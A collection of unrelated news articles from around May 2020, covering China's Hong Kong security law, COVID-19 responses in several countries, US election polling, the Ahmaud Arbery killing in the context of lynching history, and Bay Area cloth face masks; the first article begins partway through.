Secretary of State Mike Pompeo said this month that a report assessing Hong Kong's autonomy, which could trigger sanctions and a change in the relationship, would be postponed until after the Communist Party's annual legislative session that opened in Beijing this week.

On Friday, Pompeo amplified the U.S. denunciations, saying the Chinese plan "would be a death knell" for the relative autonomy promised Hong Kong when Britain handed over control in 1997.

"The United States strongly urges Beijing to reconsider its disastrous proposal," Pompeo said in a statement.

China's provisions against "foreign interference" appear to put diplomats at risk of harassment; already, China last year leaked personal information of an American official in Hong Kong, accusing her of fomenting unrest, and detained an employee of the British consulate, who said he was blindfolded and shackled.

"If agents of China's national security apparatus can operate in Hong Kong, they can use the same methods that they use in China," said Leung Kwok-hung, a political activist in Hong Kong. "That is the end for us."

Beijing's gambit - imposing its will by decree, bypassing legislative procedures it promised Hong Kong under the terms of the 1997 handover - prompted warnings and indignation from Washington. And it marked a decisive blow in China's efforts to undermine Hong Kong's constitution, the Basic Law, and the "one country, two systems" formula that is supposed to preserve the city's political rights and autonomy until 2047.

Armed with new tools, namely the Hong Kong Human Rights and Democracy Act, the question now is how far the Trump administration will go in its response. Attention is falling on whether the United States will end Hong Kong's trade privileges by certifying that the territory should no longer be treated separately from China - a step many regard as a nuclear option because of the implications for business - or sanction key officials.

"If Beijing abandons 'one country, two systems,' undermines the Basic Law and violates its legal obligations under the Joint Declaration, the U.S. policy response, as called for in the Hong Kong Human Rights and Democracy Act, should be swift and clear," wrote Robert Menendez, D-N.J., the top Democrat on the Senate Foreign Relations Committee.

A Democratic Senate aide added: "Pretending that Beijing is respecting Hong Kong's autonomy is no longer a tenable position to hold."

Republican senators Marco Rubio, R-Fla., James E. Risch, R-Id., also the chair of the Senate Foreign Relations Committee, and Cory Gardner, R-Co., in a joint statement said the developments "could lead to a significant reassessment on U.S. policy toward Hong Kong."

Bipartisan moves are underway to sanction Chinese officials and entities that enforce the new security law. Efforts are also ramping up the House and Senate to condemn its passage as a direct violation of Hong Kong's constitutional framework.

These initiatives are likely to prompt further retaliation from Beijing, which bristles at what it considers interference and insists the security law is an urgent necessity and in line with its powers.

Hong Kong is "purely China's internal affair, no foreign country has the right to interfere," said Zhao Lijian, a spokesman for the Chinese Foreign Ministry, on Friday. "The Chinese government is firmly determined to safeguard national sovereignty, security development interests, implement 'one country, two systems' and oppose foreign interference in Hong Kong affairs."

Political turmoil erupted in Hong Kong last year in response to a bill that would have allowed extraditions to mainland China. The sometimes-violent protests grew into a movement against Beijing's encroachment on the city's constitutional rights and political freedoms, and mobilized a new generation of activists. Beijing appears determined to prevent a reprise this summer.

"Violent acts caused by a lot of Hong Kong's radical forces before the epidemic led the Chinese government to make the decision that no matter how difficult it is, and no matter what the backlash would be, it will resolutely introduce the national security law," said Shi Yinhong, a professor of international relations at Renmin University in Beijing. The manner in which it was pushed through "shows how determined China is," he added.

Hong Kong is supposed to administer its own affairs except for defense and foreign relations, and has for decades been a thriving center for the media, free flow of capital, political activism and free expression.

Its mini-constitution calls for the implementation of national security legislation, known as Article 23. But those measures proved so contentious when introduced in 2003 that they were abandoned and never revived by Hong Kong's government.

Carrie Lam, Beijing's handpicked chief executive of Hong Kong, in a statement Friday promised to comply with the Communist Party's maneuvers, and characterized the laws as "in the interest of all the Hong Kong residents."

"Legislation on national security is undoubtedly within the purview of the central authorities. Just as it is in any other country in the world, it is the authority of the country to legislate on its own national security," Lam said.

China's Foreign Ministry wrote to foreign diplomats ahead of Beijing's announcement effectively telling them to lay off and continue business as usual.

"Hong Kong's prosperity and long-term stability is in line with the common interests of the whole international community, including your country," the letter said. "We hope that your government will understand and support China's relevant practices."

Already, though, Hong Kong's prosperity appears to be at risk from Beijing's actions. The city's benchmark Hang Seng stock index plunged 5.6% on Friday, its steepest daily percentage fall in five years, and the Hong Kong dollar weakened sharply against the U.S. currency following the announcement.

While last year's unrest hurt Hong Kong's standing as a financial hub, experts say the security laws pose an entirely different challenge.

Tara Joseph, president of the American Chamber of Commerce, said most concerning to business is the way the legislation was introduced.

"This opens a whole new can of worms as to what national security legislation will mean, for everyone including the international business community," she said.

An exodus of talent and money have already started. Capital and senior management last year began shifting to places such as Singapore, said Stuart Witchell, managing director of Berkeley Research Group in Hong Kong.

"We suspect that firms will be updating their contingency plans yet again in light of increased and possibly more violent protests," he said.

Analysts say the erosion of Hong Kong's status as a financial center could hurt the Chinese economy more than Beijing expects, particularly with moves underway to delist Chinese companies in the United States.

"This is typical of Xi Jinping," said Ho-fung Hung, a political economist at Johns Hopkins University, referring to China's leader.

"They misjudged the situation entirely when they pushed for the extradition bill last year and thought it was going to be easy. This time around, they may have made the same mistake, and it could blow up for them again."

---

The Washington Post's Liu Yang in Beijing and Gerry Shih contributed to this report.
China has responded to Trump accusation of COVID-19 'mass killing,' News.am reported citing Channel News Asia.

Chinese foreign ministry spokesman Zhao Lijian told a regular press briefing: "We have persisted in speaking the truth, presenting the truth and speaking with reason, doing our utmost to protect the lives and health of the people."

China has been harshly criticized for its initial reaction to the outbreak, which has since claimed the lives of more than 325,000 people around the world.

As the virus continued to spread worldwide, governments, including the US and Australia, called for an investigation into its origin, and American leaders put forward the theory that the virus had leaked from a Chinese laboratory.

China said it supported a comprehensive assessment of the global response to the pandemic once it was taken under control.

Earlier, Trump openly accused Beijing of mass killings.

"Some wacko in China just released a statement blaming everybody other than China for the Virus which has now killed hundreds of thousands of people. Please explain to this dope that it was the incompetence of China, and nothing else, that did this mass Worldwide killing!" Trump tweeted.
Press Release

May 22, 2020 After public uproar wins over overpriced PhilHealth COVID-19 test package, Drilon warns PhilHealth: 'We are watching you' Senate Minority Leader Franklin Drilon welcomed the decision of the Philippine Health Insurance Corporation (PhilHealth) to lower the price of its COVID-19 test package by 50 percent, but insisted that the health insurance agency should peg the price instead at P3,500, the amount it pays to the Philippine Red Cross that has conducted 45 percent of COVID-19 tests in the country as of today. The PhilHealth scaled down the price of its COVID-19 test package from P8,150 to P4,210 following the public uproar over the overpriced package led by Drilon, who vehemently questioned the overpriced package amounting to P8,150 per test as he feared of potential loss from taxpayers' money of around P8.3 billion. "If COVID-19 tests could be done for as low as P3,500 as proven by Red Cross, which emerged as the lead testing center for COVID-19, then there is no justification for higher rates set by PhilHealth," Drilon said in a statement on Friday. It was also Drilon who revealed that the complete cost structure of the package showed questionable expenses, which, if removed, could bring down the cost by more than half. "Why would the PhilHealth have different prices for the same test? I am glad that PhilHealth listened to us," he added. If it were for Drilon, however, he said PhilHealth could instead peg the price at P3,500, the same amount it pays to Red Cross for every test. "Upon a thorough review and a careful analysis of the market costs of the materials used for COVID-19 test, I believe the standard price of COVID-19 test in the country should be at P3,500. Why not use Red Cross rates as benchmark and reduce the rates for another P700," Drilon stressed. He noted that the test kit could be purchased for as low as $15 or P750.00. For the targetted two million tests, Drilon said the new rate of P4,210 will still result in potential loss of P1.4 billion. "Philhealth should look at lowering it to P3500, or perhaps even lower. I have heard that some institutions can do it at as low as P2000," he added. "This is a victory for better governance and anticorruption drive. Our triumph has proven that our collective voice is stronger than ever. It is critical to be more vigilant against corrupt practices during the time of a pandemic," Drilon stressed. He added: "This should be a lesson to PhilHealth and the government in general: We are watching you." Drilon said that the development means that more people can be tested for free. "Baka ngayon po ay kaya na ng gobyerno ang libreng mass testing," he added. Meanwhile, Drilon doubted claims made by PhilHealth President Ricardo Morales at the Senate Committee on Whole hearing on the global pandemic that no actual payments were made to hospitals and testing centers. Drilon cited a press release that was posted in the agency's website claiming that the health insurance agency downloaded P30 billion last March to its accredited hospitals "to help them respond to the onslaught of COVID-19 in the country." The amount, which used its interim reimbursement mechanism (IRM), is equivalent to three months' worth of claims based on historical data, which will be charged to their future claims, Drilon said citing PhilHealth's pronouncements. "IRM is a 'prepaid' system. Before this latest development, accredited hospitals were already charging to the downloaded fund the cost of testing at a price tag of P8,150," Drilon explained. Drilon urged PhilHealth to recover overpayments to hospitals which were given advance payments for COVID-19 test.
The total recoveries from coronavirus infection in Lagos State rose to 662 on Thursday, following the discharge of 13 more patients from the states isolation centres.

The states Ministry of Health gave the update on its Twitter handle on Thursday, saying the patients tested negative to the infection.

This is the first set of patients to be discharged without two consecutive negative readings as noted in the ministrys update.

13 COVID-19 Lagos patients; 4 females & 9 males, all Nigerians have been discharged from our Onikan, Eti-Osa (LandMark), Lekki & LUTH Isolation facilities to reunite with the society.

The patients; 1 from Onikan, 4 from Eti-Osa (LandMark), 3 from Lekki & 5 from LUTH Isolation Centres were discharged having fully recovered & tested negative to COVID-19.

With this, the number of COVID19 cases successfully managed & discharged in Lagos State has risen to 662, the Ministry wrote.

Discharged cases in Nigeria also rose 1,907 on Thursday, with confirmed cases shooting above 7,000.

The Director-General of the Nigerian Centre for Disease Control (NCDC), Chikwe Ihekweazu, said on Thursday that Nigeria will switch to only one negative testing for COVID-19 patients as against the two negative testings which was the former practice.

Mr Ihekweazu noted that this will aid the decongestion of isolation centres across the country which are already being overwhelmed by the number of confirmed cases.

On our discharge criteria, we changed it from two tests  24 to 48 hours apart to a single negative test, he said. The reason is that most of our cases that tested negative also tested negative for the second time. Of course, there will be some exceptions.

Given the pressure we have on bed spaces especially in Lagos, Kano, and the FCT, we made a pragmatic decision to move to one negative test sufficient to discharge people, he said.

While reacting to the plan to discharge patients with one negative test, the Lagos State Commissioner for Health said at a press briefing the state will adopt the model.

READ ALSO:

The practice of using one negative tests to discharge patients is something that we accept and we adopt.

By the time you get one negative, there is a chance that a day or two later, you may become positive again because the virus has managed to escape your immune system and start secreting itself in very small quantity. And then maybe a week later you clear it finally.

Mr Abayomi said with the practice of home-based care, discharging people with one negative test will be effective.

When we discharge people, we still advise them to go home and isolate themselves for another seven days, because within the seven days, if you turn positive, you will clear it a day or two later, Mr Abayomi said.
Trump responds to latest poll from Fox News by calling the data fake and suggesting the network fire its pollsters

A new poll from President Donald Trumps formerly favourite television news network, Fox News, provides a sobering glimpse at the presidents popularity in the middle of the coronavirus pandemic and a bleak outlook for his re-election chances in the November general election.

The poll, conducted between May 17 and 20 and released on Thursday, suggests that Trumps support among two critical groups of voters  independents and older voters  has cratered in recent weeks.

Self-described independents say they support the presumptive Democratic nominee, Joe Biden, by 13 percentage points over the incumbent Trump, and voters over the age of 65 support Biden by 17 points. The latter group is particularly troubling for the president as older voters are consistently the most reliable when it comes to turning out to vote on election day.

In the 2016 election, Trump won independents by four percentage points and seniors by seven percentage points.

Overall, the poll of 1,207 randomly chosen voters across the US suggests that more people trust Biden on issues such as healthcare and the coronavirus by wide margins, while slightly more  three percent  say they trust the president on issues related to the economy.

This morning I was all wow, Trump losing seniors by 10 nationally in this Quinnipiac poll is  and then the new Fox News poll came out and said how about more like hes losing seniors by 17. https://t.co/AH4BX5T4Td  Kristen Soltis Anderson (@KSoltisAnderson) May 21, 2020

That might be the election in a nutshell, Democrat Chris Anderson, who conducted the poll with Republican Daron Shaw told Fox News. Trump has a slight advantage in a narrow debate about economic recovery, but a debate about coronavirus or public health more broadly benefits Biden.

The polls come just one day after another survey, by Quinnipiac University in Connecticut, has Biden ahead of Trump 50 percent to 39 percent among registered voters nationwide. The figure is up slightly from the 49  41 percent lead enjoyed by Biden in an April 8 poll. In the same poll, Trumps approval rating slipped from 45 percent in April to 42 percent in May.

What does the 11-point Biden lead tell us? At best for Team Trump, it says voter confidence in President Trump is shaky. At worst for them, as coronavirus cases rise, Trumps judgement is questioned  and November looms, said Quinnipiac University Polling Analyst Tim Malloy.

Swing State Polling Shows Trump Is Losing Badly by @EScrimshaw.https://t.co/a1IMl6fmKR pic.twitter.com/mwxFd0DjkB  Decision Desk HQ (@DecisionDeskHQ) May 22, 2020

In the Fox News poll, Biden leads Trump by 48-40 percent, but 11 percent of those surveyed said they are undecided or plan to vote for someone else which suggests that the race is still very much in play. Fox has the presidents personal favourability rating at 43 percent, versus 55 percent who hold negative views of him  including 45 percent who view him as strongly unfavourable.

Trump leads over Biden among two groups  men (by seven percentage points) and rural white voters (by 30 percentage points). Biden leads among women by 20 points and among African American voters by 64 points.

Continuing a string of attacks against Fox News that he has levelled in recent weeks, Trump on Friday assailed the Fox News polls as fake and suggested that the network should fire its pollsters.

Why doesnt @FoxNews put up the CNBC POLL or the (believe it or not!) @CNN Poll? Hope Roger A is looking down and watching what has happened to this once beautiful creation!  Donald J. Trump (@realDonaldTrump) May 22, 2020

The Fox poll also suggests that Bidens supporters are more enthusiastic about the election than Trump supporters, with 69 percent of them saying they feel extremely motivated to vote compared to 63 percent of Trump voters who say they feel the same.
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Linkedin News Desk (The Jakarta Post) Jakarta  Fri, May 22, 2020 08:30 608 fc6853813033f564188675f8bd988240 1 National COVID-19,COVID-19-in-Indonesia,PSBB,large-scale-social-restrictions,Bekasi,Bima-West-Nusa-Tenggara,Lumajang,East-Java,Idul-Fitri,Idul-Fitri-prayer Free

Some regional leaders are set to allow residents to perform mass Idul Fitri prayers despite the central governments announcement that such gatherings were against prevailing public health laws during the COVID-19 outbreak.

The Bekasi city administration in West Java, for example, has announced that it will allow 38 districts to hold mass Idul Fitri prayers, saying the districts are categorized as green zones, meaning they have a relatively low number of COVID-19 cases.

The West Java provincial administration, however, has classified the city of Bekasi as a red zone, meaning that it is a high-risk area for COVID-19 transmission.

In West Nusa Tenggara, Bima Mayor Lutfi has also announced that mass prayers are allowed, contradicting Governor Zulkieflimansyahs decision to ban all forms of congregational prayer during the holiday.

"The governor has prohibited mass Idul Fitri prayers, [but] we'll do it anyway. It's my decision," Lutfi said on Wednesday as quoted by kompas.com.

Lutfi said that residents had to follow strict health protocols when performing the prayers and that the city administration would deploy officers to oversee the gatherings.

"We will only allow mass Idul Fitri prayers in mosques under strict supervision. Residents will not be allowed to shake hands. They are also required to use face masks and maintain safe physical distances," Lutfi said.

Lumajang regency in East Java has taken a similar approach.

"Mass Idul Fitri prayers are allowed as long as worshipers implement health protocols to prevent the spread of COVID-19," Lumajang Regent Thoriqul Haq said in a statement on Tuesday as reported by Antara News Agency.

Thoriq said his administration had issued a circular to mosques throughout the regency containing guidelines for the performance of prayers.

Several other regions that have not reported any confirmed cases of COVID-19 such as North Gorontalo regency in Gorontalo and Natuna Regency in Riau Islands will also allow residents to perform mass Idul Fitri prayers.

Univeristy of Indonesia epidemiologist Pandu Riono has said that allowing mass Idul Fitri prayers could create new COVID-19 clusters.

"Well, if that's the decision then whatever. Just brace for new clusters of COVID-19 transmission," he told kompas.com on Wednesday.

Coordinating Legal, Political and Human Rights Minister Mahfud MD said on Tuesday that all forms of mass religious activities were against the Health Ministrys regulation on large-scale social restrictions (PSBB) and the 2018 Health Quarantine Law.

According to the central governments count, Indonesia had 20,162 confirmed COVID-19 cases with 1,278 fatalities as of Thursday. (nal)
At first, the announcement that Klein ISD schools would be closed the week of March 16 felt like an extension of spring break to senior Andrea Kalani. The Klein Collins High School valedictorian saw opportunity for a little extra downtime before returning to her busy routine.

Originally, they had canceled school for just a week and I was like, Hey, I get another week of break, Kalani said.

CELEBRATING SENIORS: Klein ISD gives details about virtual Senior Celebration Day honoring Class of 2020

Then came news that the school closures would be extended as COVID-19s longer-term local impacts became more and more apparent. For Texas students, it meant the cancelation of in-person classes and events for the remainder of the school year.

We still had so many things to do, like the Top 10 banquet and graduation and prom and senior sunset and all of these things, and I was just so sad we were going to be missing out on them, Kalani said.

Klein ISD officials have tried to salvage as much of the senior year experience as possible for the class of 2020. Proms have been rescheduled for July and in-person graduation ceremonies are slated for Aug. 1, barring any coronavirus-related restrictions.

With the last day of school fast approaching, graduating seniors have cause to reflect on their unique senior year and the challenges they overcame to finish high school during a pandemic.

ON HOUSTONCHRONICLE.COM: Houston's graduating class of 2020 looks to the future after coronavirus derailed their senior year rites of passage

Anya Robinson, Klein Cain High School valedictorian, thinks back to March 6  what ended up being the last day of in-person classes during her high school career.

We all sat at the lunch table without knowing it was our last time being there and sitting in our favorite teachers class not knowing that was the last time being in that environment, Robinson said. Its just really disappointing to hear.

Soon after school closures were announced, districts including Klein ISD rolled out at-home learning plans. Students and teachers found themselves adjusting to a virtual classroom environment.

Personally, Im an in-person learner, so it was a big shift for me, Robinson said. I felt like I was losing my sense of responsibility and accountability because it was harder to keep up with deadlines when you dont have a teacher in front of you five days a week reminding you.

Senioritis may be a joked-about affliction among students approaching the end of high school, Kalani said, but the circumstances under which she and her classmates had to finish out their senior year made the symptoms even more pronounced.

Which isnt great because we still had final exams and AP exams and everything to keep up with, so you really need to keep that motivation going, Kalani said. A lot of kids felt less motivated because we didnt have school to go to every day.

Seniors like Kalani and Robinson had to adapt quickly, developing organizational skills to remain productive. They embraced the use of technology to keep up with their academic and extracurricular responsibilities, of which Kalani and Robinson have many to juggle.

As president of the Spanish National Honors Society, Environmental Club and History Club, Kalani and her officers worked remotely to carry out officer elections online and prepare the clubs for next year.

Robinson serves as president of HOSA Future Health Professionals and vice president of the Computer Science Club. She stayed connected with members and officers through virtual platforms.

We had a lot of Zoom meetings and a lot of screen recordings to screenshare everything and put stuff out to the members, Robinson said. Overall, Instagram, Snapchat, Twitter  those are our main platforms to reach out to everyone. All high school students, I would say, have been really proactive in using those social media platforms to stay in touch with everyone; especially with their club advisors or officers.

Kalani is preparing to attend the University of Texas at Austin to major in mechanical engineering while following a prelaw path. The challenge of completing her senior year from home has helped fortify her skills as an independent learner, she said, and made her realize the importance of maintaining social connections.

You have to be able to study on your own, Kalani said. You have to be able to read the textbook and learn that knowledge and keep up with your own work. Socializing is also very important, and it helps keep you in reality and keep you happy. Even if you cant physically go out with people, its important to just retain those bonds.

Robinson plans to attend the University of Texas at Austin to major in computer science and possibly biology. Experiencing the pandemic has made her consider career options that blend technology and medicine.

It actually made me look more into the research side of things. How I could explore the synergy between both areas: computer science, which is a very innovative field, and then the field which heals people  medicine, Robinson said. Im looking forward to exploring how I can combine both of those passions together and strive for a career that can help people, but maybe through the technology side of it.

Robinson is part of the first class to ever graduate from Klein Cain High School, which opened in 2017. She hopes her classmates can come together for the scheduled in-person graduation Aug. 1 at NRG Stadium, where she plans to impart a message of strength.

The class of 2020 has had to persevere through so many things  from entering this world right after the 9/11 attacks, to the COVID-19 pandemic. We are built to persevere, to succeed, and thats something we should be able to carry on past our high school years into college and our future lives, Robinson said.

For more information about Klein ISD graduations and other plans to celebrate the class of 2020, visit sites.google.com/kleinisd.net/class-of-2020.

mfeuk@hcnonline.com
This account is from Beyond the World War II We Know, a series from The Times that documents lesser-known stories from the war. In the spring of 1945, the U.S.S. Terror, a minelayer, was anchored at Kerama Retto, off the southwest coast of Okinawa Island, where it was receiving casualties from nearby ships. On the morning of May 1, George Sherwood, a 17-year-old signalman, stood watch on the bridge as it was attacked by a kamikaze aircraft; 48 servicemen were killed or went missing, and more than a hundred others were wounded.

We had experienced numerous kamikaze attacks, and we shot down a couple of them but, for the most part, they were going to do us some damage. I was on the bridge of the Terror, because I had the watch. I had the habit of walking back and forth, port to starboard, just to keep moving so I didnt fall asleep. That previous afternoon, we had one air attack after another; we knocked down three or so planes, and then there was kind of a lull. I was up on the bridge, walking back and forth, and all of a sudden I saw this plane coming right at us.

I shouted something to the effect of, Theres a plane coming in on the starboard side! The next thing I knew they started firing. We had what were called quad 40s, four 40-millimeters guns lined up side by side, and our gun crew started firing back without any orders. Then the plane veered and came right straight at us. The best I could do was lay down flat on the deck. And then it hit.

It was a hell of an explosion, my ears were ringing. I got up and came to realize Id been wounded in the right leg, down between the knee and the shin, and also in my right hands and wrists, where blood was coming out. All hell broke loose.
Iraqi Intelligence Says Qardash Was in Charge of Making Chemical Weapons to Attack Military

Sputnik News

08:23 GMT 21.05.2020(updated 08:31 GMT 21.05.2020)

MOSCOW (Sputnik)  Prior to his arrest, Abdullah Qardash, one of the senior leaders of Daesh* and a rumoured successor to ex-leader Abu Bakr Baghdadi, was in charge of manufacturing chemical warfare agents to attack Iraqi troops, a press office of Iraq's Intelligence Service said on Thursday.

"Qardash was responsible for the production and development of mustard gas, which was used for attacking Iraqi forces across the country. He plays a prominent role in the negotiation process between the group and its factions, as well as with other terrorist movements," the office said in a statement.

According to the intelligence, Baghdadi and Qardash met at the end of 2011 in Baghdad. After a while, Baghdadi had tasked him with developing factories in Syria to produce weapons and various explosive devices.

Qardash, whose arrest was reported late on Wednesday by the Iraqi state media, also occupied a number of senior positions in Daesh, the office noted.

In January, the Guardian newspaper reported, citing intelligence sources, that Abdullah Qardash is the nom de guerre of Daesh founding member Amir Mohammed Abdul Rahman al-Mawli al-Salbi, who was appointed new Daesh leader in October 2019, several hours after Baghdadi's elimination.

Baghdadi is claimed to have been killed as a result of a special operation by US Navy Seals in the Syrian rebel-held province of Idlib.

US President Donald Trump confirmed Baghdadi's death and thanked Russia, Turkey, Syria, Iraq and the Syrian Kurds for their assistance in the operation.

*Daesh [the Islamic State, ISIL, IS] - a terrorist organisation banned in Russian and a number of other countries

A Sputnik

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This article was originally published by The Marshall Project, a nonprofit news organization covering the U.S. criminal justice system. Sign up for their newsletter, or follow The Marshall Project on Facebook or Twitter.

By Jennifer Rae Taylor and Kayla Vinson, attorneys at the Equal Justice Initiative (EJI) in Montgomery, Alabama. For more than a decade, EJI has been researching, documenting, and encouraging public engagement with the history of lynching, through research reports, community memorialization efforts, and the 2018 opening of the National Memorial for Peace and Justice.

On February 21, 1891, almost exactly 129 years before white vigilantes fatally shot Ahmaud Arbery in Brunswick, Georgia, a mob of white men lynched two black men named Wesley Lewis and Henry Jackson just outside of Brunswick. Without trial or investigation, they were hanged from a tree, riddled with more than 1,000 bullets, then left on display for thousands of white spectators to view. As one newspaper described the scene:

...the population of Brunswick turned out en masse to visit the scene of the lynching. Vehicles were at a premium and it is estimated that more than 3,000 people made the trip to Dent Swamp during the morning. A few hundred yards away from the improvised gallows a country church was in full blast, and the singing of hymns almost within sight of the dead negroes made the scene a weird and impressive one.

Between 1877 and 1950, more than 4,400 black men, women and children were killed in documented lynchings, primarily in the southern states of the former Confederacy, but also in the North and West. Lewis and Jackson were two of more than 500 documented lynching victims killed in Georgia. Though the Brunswick lynch mob that killed them was undisguised, and many witnesses viewed the deadly aftermath, no one was ever arrested or held accountable.

The United States has changed since white mobs used public violence against black people to enforce racial subordination and white supremacy. But the killing of Arbery, a 25-year-old, unarmed black jogger, by white men who assumed he was a local burglar, demonstrates how the presumption of black guilt and dangerousness is directly related to this countrys history of racialized terror.

An Echo of the Past

On February 23, Travis McMichael and his father, George, a retired Glynn County police officer and former investigator for the local district attorney, saw Arbery running and decided that he was the culprit in several local break-ins. They pursued him in their truck and eventually shot him as he struggled with Travis, who was wielding a gun. Local law enforcement told Arberys family that he had been killed while committing a crime and that the men who shot him would face no charges.

On May 5more than two months after the killingvideo recorded by a neighbor was released and widely shared via news platforms and social media. Immediately, viewers of the violent footage moved beyond passive voyeurism and expressed outrage that the father and son had been cleared of any wrongdoing. Only after this national outcry sparked activism were the McMichaels arrested and charged with murder.

Commentators likened the disturbing footage to the vigilante killing of 17-year-old Trayvon Martin in Sanford, Florida, in 2012, and many peopleincluding Ahmauds grieving father, Gregory Arbery, attorney Benjamin Crump and Atlanta mayor Keisha Lance Bottomscharacterized the killing as yet another modern-day lynching.

Horrified observers quick invocation of the history of lynching shows increasing national awareness of this countrys history of anti-black terrorism. As lawyers working for Equal Justice Initiative (EJI), an organization that for more than a decade has been researching, documenting, and encouraging public engagement with the history of lynching, we are glad to see that connection. But rather than asking whether we should or shouldnt call Ahmaud Arberys 21st Century killing a lynching, we must go further to recognize how his death, which invokes a similar history, can and must lead to a different outcome.

Vigilantism and the Assumption of Guilt

Like many lynching victims of generations past, Arbery was a black man targeted by white men who, though not police, felt empowered to wield weapons, demand answers and then kill him when he did not submit.

[The South's] police system, scholar W.E.B. Du Bois wrote in 1903, was arranged to deal with Blacks alone, and tacitly assumed that every white man was ipso facto a member of that police.

Even after death, Arbery was denied the status of victim, and his killers were shielded from being treated as suspects. As during the lynching era, the mere claim that the dead black man deserved what he got was enough to satisfy the authorities and absolve the undisputed killers. In hundreds of the lynchings EJI has documented, the victims names are not known because newspaper reports did not bother to investigate even that deeply.

In fact, victims of lynching and those who mourn them have carried the burden of disproving their unproven guilt. Most recently, surveillance video showing Arbery entering a home construction site the day he was killed has been published by news outlets even though the owner of the home has confirmed no crime was committed, and no Georgia law authorizes armed pursuit as a response to trespassing.

More than 150 years since Reconstruction, this country continues to rely on narratives that dehumanize people of color suspected of crimes to legitimate their inhumane treatmentwhether through state sanctioned racial violence, forced labor during incarceration, or deadly conditions of confinement. White supremacy projects criminality onto black people making even quotidian activitieslike traveling by foot through a residential neighborhood or walking to the convenience store for snacksa deadly risk for black people.

Demanding Accountability

A key element of lynching terrorism was how each act sent a brutal message that any person of color was vulnerable to unchecked racial violence. Federal authorities repeatedly failed to pass anti-lynching legislation during the time it was needed most. While white mobs proudly posed for photographs beneath hanging black corpses and mailed incriminating evidence as postcards through the U.S. mail, very few white people were convicted of murder for lynching a black person during this period. Of all lynchings committed after 1900, only 1 percent resulted in a lyncher being convicted of any crime.

In her 1892 pamphlet, Southern Horrors, investigative journalist Ida B. Wells-Barnett wrote that accountability for racial violence cannot and will not be done unless a healthy public sentiment demands and sustains such action.

And yet a fundamental difference between lynching-era killings and the death Arbery is our ability to safely mobilize. The politics of fear and anger have not died out. But racial terror lynching is defined by the public violence against black people and the collective official inaction that allows that violence to go unpunished. There is no wisdom in declaring a modern-day killing a lynching without this context. As EJI Director Bryan Stevenson noted in a recent interview, We had lynchings in this country throughout the 20th Century, and no one did anything about them. That label didnt actually motivate authorities to be responsive.

Instead of focusing on a label, we can and must ensure that official inaction is not accepted. We must also demand official accountability for Breonna Taylor, a sleeping Black woman killed in a wrongful Louisville, Kentucky, police raid of her home last month, and Dameon Shepherd, the Black North Carolina high school student confronted by an armed white mob at his home earlier this month. Demands for both accountability and justice breathe life into national movements.

Like many residents of Brunswick, Georgia, where the public landscape features no memorialization of local lynching history, Ahmaud Arbery likely died not knowing the names Wesley Lewis or Henry Jackson. He could not have known the terrible way his death would echo that past. But in recognizing how his and other stories reflect features of the lynching era, we must ensure that our telling challenges the roots of white supremacy and propels us toward justice.
Nearly one in four New Yorkers lacks adequate food, the city says.

Two months into the coronavirus pandemic, with hundreds of thousands of people out of work, nearly one in four New Yorkers needs food, Mayor Bill de Blasio said on Thursday.

To address the problem, the city plans to increase to 1.5 million the number of meals it distributes each day by next week, officials said, with a million to be delivered and 500,000 available for pickup at schools.

Before the virus hit, Mr. de Blasio said, officials believed that somewhere over a million city residents were food-insecure, needed food more, at some point in the year.

As a result of the pandemic, he said, we think that number is two million or more. So almost a doubling. Thats why we have made food such a central part of what we do in response to this crisis.
The more we learn about COVID-19, the more it becomes clear that asymptomatic transmissionthat is, the spread of the virus by those who are not presenting symptomsis a BFD. On Friday, the CDC updated its recommendations to urge all Americans, whether we feel sick or not, to wear cloth masks if we must go out in public, like to the grocery store or pharmacy.

N95 masks must be reserved for healthcare workers on the frontlines, and paper masks are also scarce and should be thrown away after every use. Purchasing a reusable fabric mask is a win-win for the environment and for independent makers. Here's what to shop from California designers.

PS: It should be noted that these masks do not replace the need for social distancing, and they should not be considered an alternative to staying home. They are a simple protective layer, an extra precaution that everyone now must take in public. Cloth masks should also be washed after every wear. Stay safe out there.

*UPDATE Friday, April 17: Several Bay Area counties are expected to announce a mandate requiring that all residents where masks while out in public; orders are already in place in Marin and Sonoma counties, as well as the City of Fremont.

Fnnch's Honey Bear Face Masks for Covid-19 Charities See on Instagram San Francisco street artist Fnnch is known for spreading sweetness abouthis painted honey bears have become recognizable icons of the city. Having sought to lift everyone's spirits with Covid-themed honey bears recently painted around the Castro, the artist launched two mask designs on Friday, April 17th, which sold out within 20 minutes of his promoting the launch via Instagram. A second batch of 250 masks will be made available at noon PST on Thursday, April 23rd. The non-medical masks are designed by Stockhausen Design and sewn in Fnnch's San Francisco studiothe team is employing an out-of-work artist to help with production. Each mask has a pocket for a removable filter and comes with a P2.5 filter, an "N95 equivalent." One-hundred percent of the proceeds for masks sold will benefit Covid-19 charities. You can also shop limited edition paintings and prints of Fnnch's Mask Bear and Soap Bear; proceeds of the art pieces will go directly to Safety Net Fund, which gives money to Bay Area artists, musicians, and performers who have lost their incomes due to the pandemic. // Sales of masks ($75) will benefit SF New Deal, which delivers food to hospitals and people in need; paintings ($500) and prints ($125) benefit Safety Net Fund; store.fnnch.com.

Bilio's Antimicrobial Knit-to-Shape Face Masks See on Instagram An Oakland-based designer of technical soft goods founded by Patagonia and Apple alum Billy Smith, Bilio has taken a strategic approach to its knit-to-fit face masks designed for long term use. Facial sizing data informs the ergonomic design that "hugs your smile," while EPA-registered antimicrobial silver yarns, threaded into recycled polyester, inhibit and eliminate bacteria. It's washable, reusable, and currently available in one style, the Koala ($38). Look out for the Kangaroo ($42), with a pouch for replaceable filter inserts, soon. Five percent of profits will be donated to Bay Area COVID-19 relief efforts. // Order for domestic shipping at biliomask.com.

Gr.dano's Reusable Face Masks in 4- and 8-Packs Sausalito-based designer Jill Giordano's Gr.dano line has long been on our radar for its simple yet just-edgy-enough designs. Now, Giordano has shifted gears to offer 100 percent cotton, machine washable face masks in an array of sophisticated prints that satisfy the itch for something stylish while still getting the job done. Proceeds from sales of masks to consumers help fund donations of Gr.dano's masks to healthcare facilities, hospitals, and local businessesthe brand has donated more than 1,000 masks so far. // $40/4-pack, $70/8-pack; grdano.com

Sonson's African Wax Print Fabric Masks + Head Wraps See on Instagram Oakland designer Rashima Sonson's eponymous label has been giving guys (and gals) a better reason to wear a bow tie since 2014, with swagger-riffic designs in African wax print cotton, leather, feathers, and more. Now, Sonson is applying her dapper eye to non-surgical face masks in fabulous prints for both men and women; the masks themselves have already sold out twice, but you can still purchase a hella chic mask and head wrap combo ($42) in an array of 100 percent cotton prints and color combos. // Sign up for Sonson's newsletter or follow them on Instagram for updates on new stock and specials; sonson.com

